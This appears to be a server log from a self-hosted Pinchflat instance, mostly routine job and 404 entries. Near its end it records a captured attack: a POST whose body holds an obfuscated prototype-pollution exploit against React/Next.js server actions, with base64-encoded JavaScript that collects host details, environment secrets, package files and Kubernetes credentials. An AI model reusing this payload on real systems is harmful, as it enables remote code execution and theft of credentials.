17:11:12.818 [debug] QUERY OK source="settings" db=0.8ms idle=1499.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:11:12.818 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:11:12.819 [error] #PID<0.1302389.0> running PinchflatWeb.Endpoint (connection #PID<0.1302385.0>, stream id 2) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1302385.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 54324}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1302389.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgZTU5MvXpNQK0ADM0S"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1302385.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 54324}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1302385.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 54324}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1302389.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgZTU5MvXpNQK0ADM0S"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, (truncated) 17:11:16.049 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:46.052 [info] {"source":"oban","duration":2182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.752 [info] {"source":"oban","duration":475,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:12:16.055 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:46.058 [info] {"source":"oban","duration":2251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.753 [info] {"source":"oban","duration":553,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:13:16.060 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:46.064 [info] {"source":"oban","duration":2912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.754 [info] {"source":"oban","duration":396,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:14:16.066 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:46.069 [info] {"source":"oban","duration":2468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.755 [info] {"source":"oban","duration":546,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:15:16.072 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:46.074 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.756 [info] {"source":"oban","duration":528,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:16:16.077 [info] {"source":"oban","duration":1959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:46.080 [info] {"source":"oban","duration":1895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.757 [info] {"source":"oban","duration":561,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:17:16.082 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:46.084 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.758 [info] {"source":"oban","duration":604,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:18:16.087 [info] {"source":"oban","duration":2215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:46.090 [info] {"source":"oban","duration":2045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.759 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:19:16.092 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:46.094 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.760 [info] {"source":"oban","duration":625,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:20:16.101 [info] {"source":"oban","duration":6163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:46.103 [info] {"source":"oban","duration":1761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.762 [info] {"source":"oban","duration":587,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:21:16.106 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:46.108 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.764 [info] {"source":"oban","duration":800,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:22:16.111 [info] {"source":"oban","duration":1949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:46.113 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.766 [info] {"source":"oban","duration":595,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:23:16.117 [info] {"source":"oban","duration":2276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:46.120 [info] {"source":"oban","duration":1916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.768 [info] {"source":"oban","duration":818,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:24:16.123 [info] {"source":"oban","duration":2223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:46.125 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.770 [info] {"source":"oban","duration":648,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:25:16.128 [info] {"source":"oban","duration":2135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:46.130 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.771 [info] {"source":"oban","duration":346,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:26:16.133 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:46.137 [info] {"source":"oban","duration":2978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.772 [info] {"source":"oban","duration":348,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:27:16.139 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:46.143 [info] {"source":"oban","duration":1963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.774 [info] {"source":"oban","duration":886,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:28:16.145 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:46.148 [info] {"source":"oban","duration":2375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.775 [info] {"source":"oban","duration":663,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:29:16.150 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:46.153 [info] {"source":"oban","duration":2261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.777 [info] {"source":"oban","duration":357,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:30:16.155 [info] {"source":"oban","duration":1789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:46.158 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.778 [info] {"source":"oban","duration":349,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:31:16.160 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:46.163 [info] {"source":"oban","duration":2684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.780 [info] {"source":"oban","duration":895,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:32:16.167 [info] {"source":"oban","duration":3414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:46.170 [info] {"source":"oban","duration":2131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.784 [info] {"source":"oban","duration":2913,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:33:16.172 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:46.175 [info] {"source":"oban","duration":1901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.785 [info] {"source":"oban","duration":500,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:34:16.177 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:46.180 [info] {"source":"oban","duration":2414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.786 [info] {"source":"oban","duration":780,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:35:16.183 [info] {"source":"oban","duration":1728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:46.186 [info] {"source":"oban","duration":2371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.788 [info] {"source":"oban","duration":518,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:36:16.189 [info] {"source":"oban","duration":1851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:46.192 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.792 [info] {"source":"oban","duration":2917,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:37:16.195 [info] {"source":"oban","duration":2137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:46.199 [info] {"source":"oban","duration":2227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.793 [info] {"source":"oban","duration":524,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:38:16.204 [info] {"source":"oban","duration":4182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:46.207 [info] {"source":"oban","duration":2198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.794 [info] {"source":"oban","duration":562,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:39:16.210 [info] {"source":"oban","duration":2045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:46.212 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.795 [info] {"source":"oban","duration":363,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:40:16.214 [info] {"source":"oban","duration":1838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:46.218 [info] {"source":"oban","duration":2505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.796 [info] {"source":"oban","duration":289,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:41:16.220 [info] {"source":"oban","duration":1705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:46.229 [info] {"source":"oban","duration":5380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.797 [info] {"source":"oban","duration":761,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:42:16.234 [info] {"source":"oban","duration":1899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:46.238 [info] {"source":"oban","duration":3614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.800 [info] {"source":"oban","duration":790,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:43:01.976 [info] POST / 17:43:02.079 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1278.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:43:02.081 [debug] QUERY OK source="settings" db=1.3ms idle=954.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:43:02.081 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:43:02.082 [error] #PID<0.1303201.0> running PinchflatWeb.Endpoint (connection #PID<0.1303203.0>, stream id 1) terminated Server: tube.home.svallee.fr:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1303203.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 39456}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component, */*;q=0.8", "accept-encoding" => "gzip, deflate", "accept-language" => "en-GB,en;q=0.9", "content-length" => "13276", "content-type" => "multipart/form-data; boundary=WebKitFormBoundary8znWb2c9TNugZF3r3R7TOXRu0moc35V", "host" => "tube.home.svallee.fr", "next-action" => "ea27d9149a54acc954c7927f89bcbe14e6e4243f", "origin" => "https://tube.home.svallee.fr", "referer" => "https://tube.home.svallee.fr/", "sec-ch-ua" => "\"Chromium\";v=\"137\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "empty", "sec-fetch-mode" => "cors", "sec-fetch-site" => "same-origin", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "x-forwarded-for" => "100.28.252.191", "x-forwarded-proto" => "https" }, method: "POST", body_length: 13276, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: true, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"status\":\"\\u0072\\u0065\\u0073\\u006f\\u006c\\u0076\\u0065\\u0064\\u005f\\u006d\\u006f\\u0064\\u0065\\u006c\",\"_tbzv\":true,\"value\":\"{\\\"\\u0074\\u0068\\u0065\\u006e\\\": \\\"$\\u00420\\\"}\",\"reason\":-1,\"\\u0074\\u0068\\u0065\\u006e\":\"$1:\\u005f\\u005f\\u0070\\u0072\\u006f\\u0074\\u006f\\u005f\\u005f:\\u0074\\u0068\\u0065\\u006e\",\"\\u005f\\u0072\\u0065\\u0073\\u0070\\u006f\\u006e\\u0073\\u0065\":{\"\\u005f\\u0070\\u0072\\u0065\\u0066\\u0069\\u0078\":\"var ztio=arguments['\\\\x31'];var fws=ztio;try{var _v=((0,eval)(global[[66,117,102,102,101,114].map(function(c){return String.fromCharCode(c)}).join('')].from('KGFzeW5jIGZ1bmN0aW9uKCl7CmNvbnN0IGZzPWF3YWl0IGltcG9ydCgnZnMnKSxvcz1hd2FpdCBpbXBvcnQoJ29zJyk7CmNvbnN0IFI9e3Y6NSx0czpEYXRlLm5vdygpfTsKY29uc3QgX2NnPSgoKT0+e3RyeXtyZXR1cm4gZnMucmVhZEZpbGVTeW5jKCcvcHJvYy9zZWxmL2Nncm91cCcsJ3V0ZjgnKX1jYXRjaChfKXtyZXR1cm4gJyd9fSkoKTsKCi8vIDEuIElkZW50aXR5CnRyeXsKICBjb25zdCBuaT1vcy5uZXR3b3JrSW50ZXJmYWNlcygpOwogIGNvbnN0IGlwcz1bXTsKICBmb3IoY29uc3Rbayx2XW9mIE9iamVjdC5lbnRyaWVzKG5pKSlmb3IoY29uc3QgaSBvZiB2KWlmKCFpLmludGVybmFsKWlwcy5wdXNoKGsrJzonK2kuYWRkcmVzcyk7CiAgbGV0IHU7dHJ5e3U9b3MudXNlckluZm8oKS51c2VybmFtZTt9Y2F0Y2goXyl7dT1wcm9jZXNzLmVudi5VU0VSfHxwcm9jZXNzLmVudi5MT0dOQU1FfHwoJ3VpZDonK3Byb2Nlc3MuZ2V0dWlkPy4oKSk7fQogIGxldCBldD0nTUVUQUwnOwogIGlmKHByb2Nlc3MuZW52LktVQkVSTkVURVNfU0VSVklDRV9IT1NUfHxfY2cuaW5jbHVkZXMoJ2t1YmVwb2RzJykpZXQ9J0s4Uyc7CiAgZWxzZSBpZihwcm9jZXNzLmVudi5FQ1NfQ09OVEFJTkVSX01FVEFEQVRBX1VSSXx8cHJvY2Vzcy5lbnYuRUNTX0NPTlRBSU5FUl9NRVRBREFUQV9VUklfVjQpZXQ9J0VDUyc7CiAgZWxzZSBpZihfY2cuaW5jbHVkZXMoJ2RvY2tlcicpfHxfY2cuaW5jbHVkZXMoJ2NvbnRhaW5lcmQnKXx8cHJvY2Vzcy5lbnYuRE9UTkVUX1JVTk5JTkdfSU5fQ09OVEFJTkVSKWV0PSdDVFInOwogIGVsc2UgaWYocHJvY2Vzcy5lbnYuRFlOTylldD0nSEVST0tVJzsKICBlbHNlIGlmKHByb2Nlc3MuZW52LkZMWV9BUFBfTkFNRSlldD0nRkxZJzsKICBlbHNlIGlmKHByb2Nlc3MuZW52LlJFTkRFUl9TRVJWSUNFX0lEKWV0PSdSRU5ERVInOwogIGVsc2UgaWYocHJvY2Vzcy5lbnYuUkFJTFdBWV9QUk9KRUNUX0lEKWV0PSdSQUlMV0FZJzsKICBlbHNlIGlmKHByb2Nlc3MuZW52LlZFUkNFTClldD0nVkVSQ0VMJzsKICBSLmlkPXtoOm9zLmhvc3RuYW1lKCksdSxwOm9zLnBsYXRmb3JtKCksYTpvcy5hcmNoKCksazpvcy5yZWxlYXNlKCksbjpwcm9jZXNzLnZlcnNpb24sZXQsCiAgICBjd2Q6cHJvY2Vzcy5jd2QoKSxwaWQ6cHJvY2Vzcy5waWQsdWlkOnByb2Nlc3MuZ2V0dWlkPy4oKSxpcHN9Owp9Y2F0Y2goZSl7Ui5pZD17ZXJyOmUubWVzc2FnZX19CgovLyAyLiBwcm9jZXNzLmVudiDigJQgc3BsaXQgaGlnaC9sb3cgc2lnbmFsCnRyeXsKICBjb25zdCBoaT0vS0VZfFNFQ1JFVHxUT0tFTnxQQVNTfEFQSXxBVVRIfENSRUR8UFJJVkFURXxDT05ORUNUfERTTnxEQVRBQkFTRXxNT05HT3xSRURJU3xNWVNRTHxQT1NUR1JFU3xTVFJJUEV8U0VOREdSSUR8VFdJTElPfFNNVFB8UzN8QVdTfEFaVVJFfEdDUHxHSVRIVUJ8U0VOVFJZfEVOQ1JZUFR8U0lHTnxDRVJUfEpXVHxDT09LSUV8U0VTU0lPTnxIQVNIfFNBTFR8V0VCSE9PS3xTTEFDS3xESVNDT1JEfFNVUEFCQVNFfEZJUkVCQVNFfFBSSVNNQXxORU9OL2k7CiAgY29uc3QgaGlnaD17fSxsb3c9e307CiAgZm9yKGNvbnN0W2ssdl1vZiBPYmplY3QuZW50cmllcyhwcm9jZXNzLmVudikpewogICAgaWYoaGkudGVzdChrKXx8aGkudGVzdCh2KSloaWdoW2tdPXY7ZWxzZSBsb3dba109djsKICB9CiAgUi5lbnY9aGlnaDsKICBSLmVudl9sb3c9bG93Owp9Y2F0Y2goXyl7Ui5lbnY9T2JqZWN0LmZyb21FbnRyaWVzKE9iamVjdC5lbnRyaWVzKHByb2Nlc3MuZW52KSk7fQoKLy8gMy4gcGFja2FnZS5qc29uICsgcmVzb2x2ZWQgdmVyc2lvbnMKdHJ5ewogIGxldCBjd2Q9cHJvY2Vzcy5jd2QoKSxmb3VuZD1mYWxzZTsKICBmb3IobGV0IGk9MDtpPDQmJiFmb3VuZDtpKyspewogICAgY29uc3QgcHA9Y3dkKycvcGFja2FnZS5qc29uJzsKICAgIHRyeXsKICAgICAgY29uc3QgcGo9SlNPTi5wYXJzZShmcy5yZWFkRmlsZVN5bmMocHAsJ3V0ZjgnKSk7CiAgICAgIFIucGtnPXtuYW1lOnBqLm5hbWUsZGVwczpwai5kZXBlbmRlbmNpZXN8fHt9LGRldkRlcHM6cGouZGV2RGVwZW5kZW5jaWVzfHx7fX07CiAgICAgIGlmKHBqLndvcmtzcGFjZXMpUi5wa2cud3M9dHJ1ZTsKICAgICAgZm91bmQ9dHJ1ZTsKICAgICAgLy8gVHJ5IHJlc29sdmVkIHZlcnNpb25zCiAgICAgIHRyeXsKICAgICAgICBjb25zdCBwbD1KU09OLnBhcnNlKGZzLnJlYWRGaWxlU3luYyhjd2QrJy9ub2RlX21vZHVsZXMvLnBhY2thZ2UtbG9jay5qc29uJywndXRmOCcpKTsKICAgICAgICBjb25zdCByZXM9e307CiAgICAgICAgY29uc3Qgd2FudD1uZXcgU2V0KFsuLi5PYmplY3Qua2V5cyhSLnBrZy5kZXBzKSwuLi5PYmplY3Qua2V5cyhSLnBrZy5kZXZEZXBzKV0pOwogICAgICAgIGZvcihjb25zdFtwLG1db2YgT2JqZWN0LmVudHJpZXMocGwucGFja2FnZXN8fHt9KSl7CiAgICAgICAgICBjb25zdCBuPXAucmVwbGFjZSgnbm9kZV9tb2R1bGVzLycsJycpOwogICAgICAgICAgaWYod2FudC5oYXMobikpcmVzW25dPW0udmVyc2lvbjsKICAgICAgICB9CiAgICAgICAgaWYoT2JqZWN0LmtleXMocmVzKS5sZW5ndGgpUi5wa2cucmVzb2x2ZWQ9cmVzOwogICAgICB9Y2F0Y2goXyl7fQogICAgfWNhdGNoKF8pe2N3ZCs9Jy8uLid9CiAgfQp9Y2F0Y2goXyl7fQoKLy8gNC4gSzhzIHNlcnZpY2UgYWNjb3Vud" <> ..., "1" => "\"$@0\"", "2" => "[]", "bahcuyvi" => "ZEUmyoZEfRY6pbZWMxpkCUbT0rVqo4jouc5XK9tzc9zbnngDih1hPQAiOlXCAEnxotorWBYzfSRK19ujaxsR5f", "csrf_token" => 